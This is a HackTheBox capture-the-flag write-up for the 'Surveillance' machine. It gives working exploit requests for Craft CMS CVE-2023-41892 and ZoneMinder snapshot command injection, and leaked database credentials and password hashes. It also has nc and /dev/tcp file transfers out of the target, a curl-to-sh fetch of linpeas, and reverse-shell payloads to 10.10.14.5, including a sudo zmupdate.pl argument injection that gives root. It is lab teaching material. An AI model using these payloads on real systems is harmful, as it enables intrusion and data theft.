HackTheBox Surveillance
Initial Enumeration
Port Scan
❯ rustscan -t 1500 -b 1500 --ulimit 65000 -a 10.10.11.245 -- -sV -sC -oA ./{{ip}}.initial
Port | Protocol | State | Service | Reason | Product | Version | Extra Info |
---|---|---|---|---|---|---|---|
22 | tcp | open | ssh | syn-ack | OpenSSH | 8.9p1 Ubuntu 3ubuntu0.4 | Ubuntu Linux; protocol 2.0 |
80 | tcp | open | http | syn-ack | nginx | 1.18.0 | Ubuntu |
The initial network scan reveals two ports.
❯ curl -L http://10.10.11.245
curl: (6) Could not resolve host: surveillance.htb
To resolve this site, 10.10.11.245 surveillance.htb
needs to be added to the /etc/hosts
file.
Now the page is viewable.
Web Enumeration
Check to see what technologies the site was built with.
❯ whatweb -a3 -v surveillance.htb
WhatWeb report for http://surveillance.htb
Status : 200 OK
Title : Surveillance
IP : 10.10.11.245
Country : RESERVED, ZZ
Summary : Bootstrap[4.3.1], Email[demo@surveillance.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], JQuery[3.4.1], nginx[1.18.0], Script[text/javascript], X-Powered-By[Craft CMS], X-UA-Compatible[IE=edge]
Detected Plugins:
[ Bootstrap ]
Bootstrap is an open source toolkit for developing with
HTML, CSS, and JS.
Version : 4.3.1
Version : 4.3.1
Website : https://getbootstrap.com/
[ Email ]
Extract email addresses. Find valid email address and
syntactically invalid email addresses from mailto: link
tags. We match syntactically invalid links containing
mailto: to catch anti-spam email addresses, eg. bob at
gmail.com. This uses the simplified email regular
expression from
http://www.regular-expressions.info/email.html for valid
email address matching.
String : demo@surveillance.htb
[ HTML5 ]
HTML version 5, detected by the doctype declaration
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
OS : Ubuntu Linux
String : nginx/1.18.0 (Ubuntu) (from server string)
[ JQuery ]
A fast, concise, JavaScript that simplifies how to traverse
HTML documents, handle events, perform animations, and add
AJAX.
Version : 3.4.1
Website : http://jquery.com/
[ Script ]
This plugin detects instances of script HTML elements and
returns the script language/type.
String : text/javascript
[ X-Powered-By ]
X-Powered-By HTTP header
String : Craft CMS (from x-powered-by string)
[ X-UA-Compatible ]
This plugin retrieves the X-UA-Compatible value from the
HTTP header and meta http-equiv tag. - More Info:
http://msdn.microsoft.com/en-us/library/cc817574.aspx
String : IE=edge
[ nginx ]
Nginx (Engine-X) is a free, open-source, high-performance
HTTP server and reverse proxy, as well as an IMAP/POP3
proxy server.
Version : 1.18.0
Website : http://nginx.net/
HTTP Headers:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 12 Dec 2023 04:33:18 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
X-Powered-By: Craft CMS
Content-Encoding: gzip
whatweb
reveals that the site is running Craft CMS
. Let’s enumerate over the
directories now.
❯ feroxbuster -u "http://surveillance.htb" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --silent --filter-status 503 --dont-scan img,js,images,css
http://surveillance.htb/admin => http://surveillance.htb/admin/login http://surveillance.htb/logout => http://surveillance.htb/ http://surveillance.htb/ http://surveillance.htb/fonts => http://surveillance.htb/fonts/ http://surveillance.htb/index
Enumerating files.
❯ feroxbuster -u "http://surveillance.htb" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt --dont-scan img,js,images,css
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://surveillance.htb
🚫 Don't Scan Regex │ img
🚫 Don't Scan Regex │ js
🚫 Don't Scan Regex │ images
🚫 Don't Scan Regex │ css
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.1
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 63l 222w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 475l 1185w 16230c http://surveillance.htb/index.php
200 GET 475l 1185w 16230c http://surveillance.htb/
200 GET 9l 26w 304c http://surveillance.htb/.htaccess
200 GET 27l 63w 1202c http://surveillance.htb/web.config
The scans reveal a login page.
It says right there again, “craft cms”. To look for potential vulnerabilities I
check if there are any available using searchsploit
.
❯ searchsploit craft cms
---------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------- ---------------------------------
Craft CMS 2.6 - Cross-Site Scripting | php/webapps/42143.txt
Craft CMS 2.7.9/3.2.5 - Information Disclosure | php/webapps/47343.txt
Craft CMS 3.0.25 - Cross-Site Scripting | php/webapps/46054.txt
Craft CMS 3.1.12 Pro - Cross-Site Scripting | php/webapps/46496.txt
Craft CMS SEOmatic plugin 3.1.4 - Server-Side Template In | linux/webapps/45108.txt
CraftCMS 3 vCard Plugin 1.0.0 - Remote Code Execution | php/webapps/48492.py
craftercms 4.x.x - CORS | multiple/webapps/51313.txt
---------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
My initial enumeration didn’t yield any results for the Craft CMS version number
and nothing in searchsploit
looks particularly promising. After some Googling,
I found a recent vulnerability for Craft CMS
CVE-2023-41892.
It is a critical vulnerability rated 9.8 and 10, affecting versions before 4.4.15. The Craft CMS GitHub repo’s changelog shows this vulnerability was patched 2023-07-03. There’s a chance this site is vulnerable.
Initial Foothold
I also found some resources explaining how this exploit works:
- https://threatprotect.qualys.com/2023/09/25/craft-cms-remote-code-execution-vulnerability-cve-2023-41892/
- https://blog.calif.io/p/craftcms-rce
Test to see if the site is vulnerable to the exploit:
❯ curl -k "http://surveillance.htb/index.php" -X POST -d 'action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}' > output.html
This looks very promising. We also gain some valuable information by going through the output such as:
$_SERVER['CRAFT_APP_ID'] CraftCMS--070c5b0b-ee27-4e50-acdf-0436a93ca4c7
$_SERVER['CRAFT_ENVIRONMENT'] production
$_SERVER['CRAFT_SECURITY_KEY'] 2HfILL3OAEe5X0jzYOVY5i7uUizKmB2_
$_SERVER['CRAFT_DB_DRIVER'] mysql
$_SERVER['CRAFT_DB_SERVER'] 127.0.0.1
$_SERVER['CRAFT_DB_PORT'] 3306
$_SERVER['CRAFT_DB_DATABASE'] craftdb
$_SERVER['CRAFT_DB_USER'] craftuser
$_SERVER['CRAFT_DB_PASSWORD'] CraftCMSPassword2023!
Another thing to note is file_uploads
is set to On
.
I rewrite the curl
command a little to get a better understanding of what is
happening.
config.json
:
{
"name": "test[userCondition]",
"as xyz": {
"class": "\\GuzzleHttp\\Psr7\\FnStream",
"__construct()": [
{
"close": null
}
],
"_fn_close": "phpinfo"
}
}
❯ http -f POST http://surveillance.htb/index.php \
'action=conditions/render' \
'test[userCondition]=craft\elements\conditions\users\UserCondition' \
config=@config.json
The previously mentioned calif.io craftcms-rce blog post
suggests possible ways to perform the exploit to run arbitrary code other than
phpinfo
. Unfortunately I was unable to fully figure it out and will return to
it later. Fortunately an existing Python POC of the exploit exists here
https://gist.github.com/to016/b796ca3275fa11b5ab9594b1522f7226.
A few modifications to the script needed to be made. First I removed references
to the proxies and changed the exploit to target a writable file instead of
/etc/passwd
.
data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/tmp/file"}}}',
}
Either the script is inconsistent, or my modifications aren’t optimal. After a couple of attempts I managed to get a shell.
Linux Enumeration
I used Girsh
to automate the process of upgrading to a better shell and close
out the connection used with the python script.
❯ girsh listen -p 4443
01:08:46 Listening on :4443
Girsh> 01:09:43 Connect from 10.10.11.245:35562
Girsh> sessions
1 => linux 10.10.11.245:35562
Girsh> connect 1
<["/bin/bash","-c"," stty rows 33 cols 92 ;bash"])'
/usr/bin/env: 'python': No such file or directory
<["/bin/bash","-c"," stty rows 33 cols 92 ;bash"])'sources$
www-data@surveillance:~/html/craft/web/cpresources$
www-data@surveillance:~/html/craft/web/cpresources$
www-data@surveillance:~/html/craft/web/cpresources$
www-data@surveillance:~/html/craft/web/cpresources$
www-data@surveillance:~/html/craft/web/cpresources$ ls -al
total 124
drwxr-xr-x 30 www-data www-data 4096 Dec 12 09:10 .
drwxr-xr-x 8 www-data www-data 4096 Nov 7 21:10 ..
-rw-r--r-- 1 www-data www-data 14 May 23 2023 .gitignore
drwxrwxr-x 4 www-data www-data 4096 Oct 17 20:26 1086baca
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:26 1be7b37d
drwxrwxr-x 3 www-data www-data 4096 Oct 17 20:26 1ee84e9
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:27 2df06f28
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:27 2e77077c
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:26 36829225
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:26 406b3277
drwxrwxr-x 3 www-data www-data 4096 Oct 17 20:26 5041a449
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:26 68d90560
drwxrwxr-x 3 www-data www-data 4096 Oct 17 20:26 6fb3ecb
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:26 82b5dc63
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:26 82e60301
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:26 877101b6
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:27 88748e5f
drwxrwxr-x 5 www-data www-data 4096 Oct 17 20:26 ab39c83
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:26 b50564df
drwxrwxr-x 4 www-data www-data 4096 Oct 17 20:27 b761b31b
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:26 bdf69417
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:26 bebdd9df
drwxrwxr-x 3 www-data www-data 4096 Oct 17 20:41 bf6704d6
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:26 c0d4ee74
drwxrwxr-x 3 www-data www-data 4096 Oct 17 20:26 ceb44668
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:26 d1a8b721
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:26 d448a8c9
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:26 deaf38df
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:27 e5e12a1b
drwxrwxr-x 3 www-data www-data 4096 Oct 17 20:27 ea30abe7
drwxrwxr-x 3 www-data www-data 4096 Oct 17 20:27 f137a894
www-data@surveillance:~/html/craft/web/cpresources$
There are two home directories but the www-data
user does not have permissions
to view either.
www-data@surveillance:/$ cd home
www-data@surveillance:/home$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Oct 17 11:20 .
drwxr-xr-x 18 root root 4096 Nov 9 13:19 ..
drwxrwx--- 3 matthew matthew 4096 Nov 9 12:45 matthew
drwxr-x--- 2 zoneminder zoneminder 4096 Nov 9 12:46 zoneminder
Using the credentials found earlier through exposed environment variables from
phpinfo
, I’m able to log into mysql:
mysql -h localhost -u craftuser --password=CraftCMSPassword2023!`
After looking at the tables, I decided to look through the users for passwords.
MariaDB [craftdb]> select * from users;
+----+---------+--------+---------+--------+-----------+-------+----------+-----------+-----------+----------+------------------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+
| id | photoId | active | pending | locked | suspended | admin | username | fullName | firstName | lastName | email | password | lastLoginDate | lastLoginAttemptIp | invalidLoginWindowStart | invalidLoginCount | lastInvalidLoginDate | lockoutDate | hasDashboard | verificationCode | verificationCodeIssuedDate | unverifiedEmail | passwordResetRequired | lastPasswordChangeDate | dateCreated | dateUpdated |
+----+---------+--------+---------+--------+-----------+-------+----------+-----------+-----------+----------+------------------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+
| 1 | NULL | 1 | 0 | 0 | 0 | 1 | admin | Matthew B | Matthew | B | admin@surveillance.htb | $2y$13$FoVGcLXXNe81B6x9bKry9OzGSSIYL7/ObcmQ0CXtgw.EpuNcx8tGe | 2023-10-17 20:42:03 | NULL | NULL | NULL | 2023-10-17 20:38:18 | NULL | 1 | NULL | NULL | NULL | 0 | 2023-10-17 20:38:29 | 2023-10-11 17:57:16 | 2023-10-17 20:42:03 |
+----+---------+--------+---------+--------+-----------+-------+----------+-----------+-----------+----------+------------------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+
1 row in set (0.000 sec)
Matthew owns the admin account, which suggests this password could be reused for
the matthew
user on the machine. To crack this hash $2y$13$FoVGcLXXNe81B6x9bKry9OzGSSIYL7/ObcmQ0CXtgw.EpuNcx8tGe
,
I look for more information on how Craft CMS hashes passwords.
~/html/craft/composer.json
reveals additional information about Craft CMS,
including the version number 4.4.14
.
www-data@surveillance:~/html/craft$ cat composer.json
{
"require": {
"craftcms/cms": "4.4.14",
"vlucas/phpdotenv": "^5.4.0"
},
"require-dev": {
"craftcms/generator": "^1.3.0",
"yiisoft/yii2-shell": "^2.0.3"
},
"autoload": {
"psr-4": {
"modules\\": "modules/"
}
},
"config": {
"allow-plugins": {
"craftcms/plugin-installer": true,
"yiisoft/yii2-composer": true
},
"sort-packages": true,
"optimize-autoloader": true,
"platform": {
"php": "8.0.2"
}
},
"scripts": {
"post-root-package-install": [
"@php -r \"file_exists('.env') || copy('.env.example.dev', '.env');\""
]
}
}
The CraftCMS GitHub repo on branch 4.4
reveals how the hash was constructed.
- https://github.com/craftcms/cms/blob/4.4/src/services/Security.php
- https://github.com/craftcms/cms/blob/b1bef6445552b68ae65c23787193834f3e7a38f8/src/services/Security.php
/**
* Hashes a given password with the bcrypt blowfish encryption algorithm.
*
* @param string $password The string to hash
* @param bool $validateHash If you want to validate the just generated hash. Will throw an exception if
* validation fails.
* @return string The hash.
*/
public function hashPassword(string $password, bool $validateHash = false): string
{
$hash = $this->generatePasswordHash($password, $this->_blowFishHashCost);
if ($validateHash && !$this->validatePassword($password, $hash)) {
throw new InvalidArgumentException('Could not hash the given string.');
}
return $hash;
}
I’ll run hashcat
in the background while continuing enumeration.
hashcat -O -m 3200 -a 0 -w 2 --opencl-device-types 1,2 C:\Users\bycEE\pentesting\hashes.txt -o C:\Users\bycEE\pentesting\cracked.txt C:\Users\bycEE\pentesting\rockyou.txt
Not long after, there’s a backup file that stands out.
www-data@surveillance:~/html/craft/storage$ ls -al
total 28
drwxr-xr-x 6 www-data www-data 4096 Oct 11 20:12 .
drwxr-xr-x 8 www-data www-data 4096 Oct 21 18:32 ..
-rw-r--r-- 1 www-data www-data 53 May 23 2023 .gitignore
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:33 backups
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:26 config-deltas
drwxr-xr-x 2 www-data www-data 4096 Dec 12 09:08 logs
drwxr-xr-x 6 www-data www-data 4096 Oct 11 18:01 runtime
www-data@surveillance:~/html/craft/storage$ cd backups
www-data@surveillance:~/html/craft/storage/backups$ ls -al
total 28
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:33 .
drwxr-xr-x 6 www-data www-data 4096 Oct 11 20:12 ..
-rw-r--r-- 1 root root 19918 Oct 17 20:33 surveillance--2023-10-17-202801--v4.4.14.sql.zip
After transferring the file over to my host machine and extracting it, there is
a surveillance--2023-10-17-202801--v4.4.14.sql
file.
nc -lvnp 9000 > backup.zip # host machine
cat surveillance--2023-10-17-202801--v4.4.14.sql.zip > /dev/tcp/10.10.14.5/9000 # surveillance machine
Grepping for matthew
reveals:
LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
set autocommit=0;
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
UNLOCK TABLES;
commit;
This hash looks much easier to crack. After popping it into https://crackstation.net, the plaintext password is revealed.
Hash: 39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec
Type: sha256
Result: starcraft122490
The password works with ssh
and we get the user flag!
Now I can stop hashcat
since it’s destroying my desktop and start looking for
privilege escalation. Unfortunately there are no easy sudo
binaries to abuse.
matthew@surveillance:~$ sudo -l
[sudo] password for matthew:
Sorry, user matthew may not run sudo on surveillance.
Linux Privilege Escalation
At this point I decide to launch a local http sever and run LinPEAS
to help
enumerate.
curl -L http://10.10.14.5:9090/linpeas.sh | sh | tee linpeas.txt
Some excerpts with interesting information:
╔══════════╣ Searching passwords in config PHP files
/usr/share/zoneminder/www/api/app/Config/database.php: 'password' => ZM_DB_PASS,
/usr/share/zoneminder/www/api/app/Config/database.php: 'password' => 'ZoneMinderPassword2023',
/usr/share/zoneminder/www/includes/config.php: 'Password' => '',
╔══════════╣ SGID
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwxr-sr-x 1 root utmp 15K Mar 24 2022 /usr/lib/x86_64-linux-gnu/utempter/utempter
-rwxr-sr-x 1 root shadow 23K Feb 2 2023 /usr/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 27K Feb 2 2023 /usr/sbin/unix_chkpwd
-rwxr-sr-x 1 root plocate 307K Feb 17 2022 /usr/bin/plocate (Unknown SGID binary)
-rwxr-sr-x 1 root tty 23K Feb 21 2022 /usr/bin/write.ul (Unknown SGID binary)
-rwxr-sr-x 1 root tty 23K Feb 21 2022 /usr/bin/wall
-rwxr-sr-x 1 root shadow 71K Nov 24 2022 /usr/bin/chage
-rwxr-sr-x 1 root shadow 23K Nov 24 2022 /usr/bin/expiry
-rwxr-sr-x 1 root _ssh 287K Aug 24 13:40 /usr/bin/ssh-agent
-rwxr-sr-x 1 root crontab 39K Mar 23 2022 /usr/bin/crontab
╔══════════╣ Analyzing SSH Files (limit 70)
-rw-r--r-- 1 root root 603 Jan 17 2023 /etc/ssh/ssh_host_dsa_key.pub
-rw-r--r-- 1 root root 175 Jan 17 2023 /etc/ssh/ssh_host_ecdsa_key.pub
-rw-r--r-- 1 root root 95 Jan 17 2023 /etc/ssh/ssh_host_ed25519_key.pub
-rw-r--r-- 1 root root 567 Jan 17 2023 /etc/ssh/ssh_host_rsa_key.pub
PermitRootLogin yes
UsePAM yes
PasswordAuthentication yes
lrwxrwxrwx 1 root root 42 Oct 17 16:25 /etc/nginx/sites-enabled/zoneminder.conf -> /etc/nginx/sites-available/zoneminder.conf
server {
listen 127.0.0.1:8080;
root /usr/share/zoneminder/www;
index index.php;
access_log /var/log/zm/access.log;
error_log /var/log/zm/error.log;
location / {
try_files $uri $uri/ /index.php?$args =404;
location ~ /api/(css|img|ico) {
rewrite ^/api(.+)$ /api/app/webroot/$1 break;
try_files $uri $uri/ =404;
}
location /api {
rewrite ^/api(.+)$ /api/app/webroot/index.php?p=$1 last;
}
location /cgi-bin {
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $request_filename;
fastcgi_param HTTP_PROXY "";
fastcgi_pass unix:/run/fcgiwrap.sock;
}
location ~ \.php$ {
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $request_filename;
fastcgi_param HTTP_PROXY "";
fastcgi_index index.php;
fastcgi_pass unix:/var/run/php/php8.1-fpm-zoneminder.sock;
}
}
}
A quick Google search shows that ZoneMinder is “A full-featured, open source, state-of-the-art video surveillance software system”.
This didn’t come up in the initial port scan because it’s only listening on
127.0.0.1
.
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
A simple port forward allows me to view the site.
ssh -L 9000:127.0.0.1:8080 matthew@10.10.11.245
Exploiting ZoneMinder
After trying a couple user/password combinations, I remember that matthew
is
the admin user to the site. The admin:starcraft122490
login works and now
have access to the admin panel.
Upon login, the version number v1.36.32
is shown in the upper right corner.
This version of ZoneMinder has a couple vulnerabilities.
- https://www.rapid7.com/db/modules/exploit/unix/webapp/zoneminder_lang_exec/
- https://www.rapid7.com/db/modules/exploit/unix/webapp/zoneminder_snapshots/
These modules are available via Metasploit, but I wanted to attempt this manually. Looking at the zoneminder_snapshots.rb source, it looks easy enough to replicate.
The Metasploit module allows unauthenticated command injection, but requires a
CSRF token. Instead of replicating the logic to programmatically retrieve it, I
cheat a little bit since we’re logged in by triggering a POST request and
grabbing the __csrf_magic
value.
We send the modified POST request with a URI encoded reverse shell.
curl 'http://127.0.0.1:9000/?' --compressed -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://127.0.0.1:9000' -H 'Connection: keep-alive' -H 'Referer: http://127.0.0.1:9000/?view=console' -H 'Cookie: zmSkin=classic; zmCSS=base; zmMontageLayout=3; zmMontageScale=; zmControlTable.bs.table.columns=%5B%22Name%22%2C%22Type%22%2C%22Protocol%22%2C%22CanMove%22%2C%22CanZoom%22%2C%22CanFocus%22%2C%22CanIris%22%2C%22CanWhiteBal%22%2C%22HasPresets%22%5D; zmControlTable.bs.table.sortOrder=asc; zmControlTable.bs.table.sortName=CanIris; ZMSESSID=8iechipb0qd842v7s7hpii66ad; zmBandwidth=high; zmControlTable.bs.table.searchText=; zmControlTable.bs.table.pageNumber=1' -H 'Upgrade-Insecure-Requests: 1' -H 'Sec-Fetch-Dest: document' -H 'Sec-Fetch-Mode: navigate' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-User: ?1' --data-raw '__csrf_magic=key%3A224850641cde07fd2c00407c39571fdb77f5393f%2C1702453937&view=snapshot&action=create&monitor_ids[0][Id]=;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.14.5%204443%20%3E%2Ftmp%2Ff'
Gaining Root
Starting off with seeing what sudo
access is available to this user:
zoneminder@surveillance:/usr/share/zoneminder/www$ sudo -l
Matching Defaults entries for zoneminder on surveillance:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User zoneminder may run the following commands on surveillance:
(ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *
zoneminder@surveillance:/usr/share/zoneminder/www$
The zoneminder
user has access to the following tools:
zoneminder@surveillance:/usr/bin$ ls -al /usr/bin/zm[a-zA-Z]*.pl
-rwxr-xr-x 1 root root 43027 Nov 23 2022 /usr/bin/zmaudit.pl
-rwxr-xr-x 1 root root 12939 Nov 23 2022 /usr/bin/zmcamtool.pl
-rwxr-xr-x 1 root root 6043 Nov 23 2022 /usr/bin/zmcontrol.pl
-rwxr-xr-x 1 root root 26232 Nov 23 2022 /usr/bin/zmdc.pl
-rwxr-xr-x 1 root root 35206 Nov 23 2022 /usr/bin/zmfilter.pl
-rwxr-xr-x 1 root root 5640 Nov 23 2022 /usr/bin/zmonvif-probe.pl
-rwxr-xr-x 1 root root 19386 Nov 23 2022 /usr/bin/zmonvif-trigger.pl
-rwxr-xr-x 1 root root 13994 Nov 23 2022 /usr/bin/zmpkg.pl
-rwxr-xr-x 1 root root 17492 Nov 23 2022 /usr/bin/zmrecover.pl
-rwxr-xr-x 1 root root 4815 Nov 23 2022 /usr/bin/zmstats.pl
-rwxr-xr-x 1 root root 2133 Nov 23 2022 /usr/bin/zmsystemctl.pl
-rwxr-xr-x 1 root root 13111 Nov 23 2022 /usr/bin/zmtelemetry.pl
-rwxr-xr-x 1 root root 5340 Nov 23 2022 /usr/bin/zmtrack.pl
-rwxr-xr-x 1 root root 18482 Nov 23 2022 /usr/bin/zmtrigger.pl
-rwxr-xr-x 1 root root 45421 Nov 23 2022 /usr/bin/zmupdate.pl
-rwxr-xr-x 1 root root 8205 Nov 23 2022 /usr/bin/zmvideo.pl
-rwxr-xr-x 1 root root 7022 Nov 23 2022 /usr/bin/zmwatch.pl
-rwxr-xr-x 1 root root 19655 Nov 23 2022 /usr/bin/zmx10.pl
I send these files over to my local machine to investigate instead of looking through them in the reverse shell.
tar -czvf /home/zoneminder/zm.tar.gz $(ls /usr/bin/zm[a-zA-Z]*.pl)
nc -lvnp 4444 > zm.tar.gz # on host
nc -vn 10.10.14.5 4444 < /home/zoneminder/zm.tar.gz # on surveillance
After tediously going through each file looking for a potential exploit, I
finally found that zmupdate.pl
runs the mysqldump
command with passed in
arguments.
zoneminder@surveillance:/usr/share/zoneminder/www$ zmupdate.pl -h
12/13/23 07:20:24.001590 zmupdate[4171].ERR [ZoneMinder::Logger:545] [Can't open log file /var/log/zm/zmupdate.log: Permission denied]
Unknown option: h
Usage:
zmupdate.pl -c,--check | -f,--freshen | -v<version>,--version=<version>
[-u <dbuser> -p <dbpass>]
zmupdate.pl
snippet:
if ( $response =~ /^[yY]$/ ) {
my ( $host, $portOrSocket ) = ( $Config{ZM_DB_HOST} =~ /^([^:]+)(?::(.+))?$/ );
my $command = 'mysqldump';
if ($super) {
$command .= ' --defaults-file=/etc/mysql/debian.cnf';
} elsif ($dbUser) {
$command .= ' -u'.$dbUser;
$command .= ' -p\''.$dbPass.'\'' if $dbPass;
}
if ( defined($portOrSocket) ) {
if ( $portOrSocket =~ /^\// ) {
$command .= ' -S'.$portOrSocket;
} else {
$command .= ' -h'.$host.' -P'.$portOrSocket;
}
} else {
$command .= ' -h'.$host;
}
I don’t know perl so after looking up the syntax, the line $command .= ' -u'.$dbUser;
appends the string $dbUser
to -u
. This is verified by running the command.
zoneminder@surveillance:/usr/share/zoneminder/www$ zmupdate.pl -u test
Database already at version 1.36.32, update skipped.
To prevent the code from exiting before it reaches the code block for mysqldump
,
I force an update to examine the output.
zoneminder@surveillance:/usr/share/zoneminder/www$ zmupdate.pl --version=2 -u test
12/13/23 07:22:25.619568 zmupdate[4195].ERR [ZoneMinder::Logger:545] [Can't open log file /var/log/zm/zmupdate.log: Permission denied]
Initiating database upgrade to version 1.36.32 from version 2
WARNING - You have specified an upgrade from version 2 but the database version found is 1.36.32. Is this correct?
Press enter to continue or ctrl-C to abort :
Do you wish to take a backup of your database prior to upgrading?
This may result in a large file in /tmp/zm if you have a lot of events.
Press 'y' for a backup or 'n' to continue : y
Creating backup to /tmp/zm/zm-2.dump. This may take several minutes.
sh: 1: cannot create /tmp/zm/zm-2.dump: Permission denied
Output:
Command 'mysqldump -utest -p'ZoneMinderPassword2023' -hlocalhost --add-drop-table --databases zm > /tmp/zm/zm-2.dump' exited with status: 2
It looks like breaking out of this command is possible with some bash
finagling. I replicated the command and added in a reverse shell, then used
echo
so the rest of the command won’t break.
sudo zmupdate.pl --version=2 -u "zmuser -p'ZoneMinderPassword2023' -hlocalhost --add-drop-table --databases zm; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.5 4443 >/tmp/f; echo "
The new shell is executed as the root
user and the flag can be claimed!